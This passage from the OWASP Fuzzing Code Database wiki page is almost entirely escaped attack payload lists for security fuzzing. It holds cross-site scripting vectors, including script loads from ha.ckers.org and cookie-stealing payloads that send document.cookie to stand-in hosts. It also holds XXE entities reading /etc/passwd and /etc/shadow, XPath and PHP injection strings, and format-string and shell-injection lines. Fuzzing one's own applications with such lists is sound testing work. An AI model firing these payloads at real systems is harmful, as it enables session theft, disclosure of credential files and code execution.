CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link 